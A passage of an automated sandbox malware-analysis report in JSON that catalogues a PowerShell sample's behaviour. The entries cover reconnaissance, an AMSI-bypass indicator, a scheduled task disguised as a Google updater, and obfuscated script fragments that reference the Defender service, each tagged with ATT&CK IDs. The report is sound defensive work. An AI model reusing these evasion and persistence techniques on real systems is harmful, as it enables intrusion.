Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006920)\n \"powershell.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00006920)\n \"powershell.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"powershell.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"6920\" - (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$30","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a00000000000000ab3f00000200000000006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c00750063007200740062006100730065005f0063006c00720030003400300030002e0064006c006c00000000000000000000000000 (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00006920)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve Active Directory settings (Powershell command string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1087.002","relevance":1,"id":"string-370","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$32","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":3,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$33","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"DONTUSEDESKTOPCHANGEROUTER\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"\"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\MV5MLXW4KPVGCHZRESYM.TEMP\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\MV5MLXW4KPVGCHZRESYM.temp\"\n \"powershell.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF329a97.TMP\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$34","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\system32\\schtasks.exe\" /create /tn \\GoogleSystem\\GoogleUpdater\\GoogleUpdaterTaskSystem47.0.7703.CL_NCL_ba6af2926c8603c\" - (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134215729949921144.6920.DefaultAppDomain.powershell\" - (UID: 00000000-00006920)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$36","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"www.gravatar.com\"\n \"en.gravatar.com\"\n \"gravatar.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"192.0.73.2:443\"\n \"192.0.80.242:443\"\n \"192.0.80.240:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Contains ability to add modules to the current session (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Import-Module\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"${Import-Module -WarningVariable warnLog -Uri update.microsoft.com/microsoftupdate && ($mhe)} = \"UgKChH\";\" (Indicator: \"Import-Module\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-348","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Contains ability to restart services (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Restart-Service\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"${Restart-Service -Exclude *.tmp -Name MsMpEng && ($idg)} = \"UNvdW50Z\";${Get-HotFix -AllowClobber -Uri autologon.microsoftazuread-sso.com/winauth/sso && ($ran)} = \"XIgJ1xQcm9\";\" (Indicator: \"Restart-Service\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-379","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Contains ability to start services (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Service\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"${Restart-Service -Exclude *.tmp -Name MsMpEng && ($idg)} = \"UNvdW50Z\";${Get-HotFix -AllowClobber -Uri autologon.microsoftazuread-sso.com/winauth/sso && ($ran)} = \"XIgJ1xQcm9\";\" (Indicator: \"Start-Service\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-332","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile\"\n Process powershell.exe created mutex with name \"Local\\SM0:6920:304:WilStaging_02\"\n Process powershell.exe created mutex with name \"SM0:6920:120:WilError_01\"\n Process powershell.exe created mutex with name \"Global\\RasPbFile\"\n Process powershell.exe created mutex with name \"SM0:6920:304:WilStaging_02\"\n Process powershell.exe created mutex with name \"Local\\SM0:6920:120:WilError_01\"\n Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:6920:304:WilStaging_02\"\n Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6920:304:WilStaging_02\"\n Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:6920:120:WilError_01\"\n Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6920:120:WilError_01\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Executes a PowerShell script","description":"Process \"powershell.exe\" with commandline \"-f \"C:\\\\0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin.ps1\"\" (UID: 00000000-00006920)","origin":"Monitored Target","mitre_attack_id":"T1059.001","id":"target-401","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$37","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134215729949921144.6920.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$38","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 04050000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 1D6B0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 2CA70000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 2B4D0000\n \"schtasks.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 2CA70000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 06450000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 2D250000\n \"schtasks.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 2D250000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"powershell.exe\" called \"Schedule.Service.1.CreateObject\" ... ","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c77d2cf87f0000@ntdll.dll\"\n \"220023000000000018c77d2cf87f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"May be able to execute Exchange Online Remote PowerShell Modulee","description":"$39","origin":"File/Memory","mitre_attack_id":"T1069.003","relevance":1,"id":"string-770","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$3c","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"schtasks.exe\" (UID: 00000000-00002744) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\"\"\n Process \"schtasks.exe\" (UID: 00000000-00002744) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"schtasks.exe\" (UID: 00000000-00002744) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"en.gravatar.com\"\n \"gravatar.com\"\n \"www.gravatar.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Reads configuration files (.ini files)","description":"$3d","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\USER PROFILE\"; Key: \"LANGUAGES\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\GEO\"; Key: \"NATION\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"schtasks.exe\" with commandline \"/create /tn \\\\GoogleSystem\\\\GoogleUpdater\\\\GoogleUpdaterTaskSyst ...\" (UID: 00000000-00002744)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"schtasks.exe\" with commandline \"/create /tn \\\\GoogleSystem\\\\GoogleUpdater\\\\GoogleUpdaterTaskSyst ...\" (UID: 00000000-00002744)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=E7, O=Let's Encrypt, C=US\" (SHA1: 51:4F:BB:64:0A:B7:DC:9D:1B:AB:E8:A9:50:DE:A5:57:4B:ED:3A:E5; see report for more information)\n The input sample is signed with a certificate issued by \"CN=ISRG Root X1, O=Internet Security Research Group, C=US\" (SHA1: 3B:73:C1:7E:3D:F8:7C:F3:AA:77:F1:38:92:19:EB:5E:DD:51:9E:7F; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0rlulhno.vo4.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_aikvqwx4.xgw.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\schevnt.xml\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to perform scheduled task-related activity (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Stop-ScheduledTask\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")","origin":"File/Memory","mitre_attack_id":"T1053.005","relevance":1,"id":"string-335","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains reference to software packages activity (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Package\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"${Get-Package -Append -InformationLevel Debug && ($dmfgtn)} = \"VlcCAtU2V\";${Get-PhysicalDisk -Include * -Namespace root\\Microsoft\\Windows\\Storage && ($cpkgbl)} = \"jb25kcyAx\";\" (Indicator: \"Get-Package\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")","origin":"File/Memory","mitre_attack_id":"T1072","relevance":1,"id":"string-387","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains scheduled task related strings","description":"Found string \"\"%WINDIR%\\system32\\schtasks.exe\" /create /tn \\GoogleSystem\\GoogleUpdater\\GoogleUpdaterTaskSystem47.0.7703.CL_NCL_ba6af2926c8603c\" (Indicator: \"schtasks.exe\" /create\"; Source: \"00000000-00006920-00000C47-24509401243\")\n file/memory contains long string with (Indicator: \"schtasks /create\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1053.005","relevance":5,"id":"string-128","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"schevnt.xml\" has type \"XML 1.0 document Unicode text UTF-16 little-endian text with very long lines (305) with CRLF LF line terminators\"- Location: [%TEMP%\\schevnt.xml]- [targetUID: 00000000-00006920]\n \"StartupProfileData-NonInteractive\" has type \"data\"- Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00006920]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops XML files","description":"\"schevnt.xml\" has type \"XML 1.0 document Unicode text UTF-16 little-endian text with very long lines (305) with CRLF LF line terminators\" - Location: [%TEMP%\\schevnt.xml]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-39","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"$3f","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens a handle to the specified process","description":"\"powershell.exe\" opens a process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 00000000-00006920)\n \"powershell.exe\" opens a process \"C:\\Windows\\explorer.exe\" (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-237","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$40","origin":"Registry 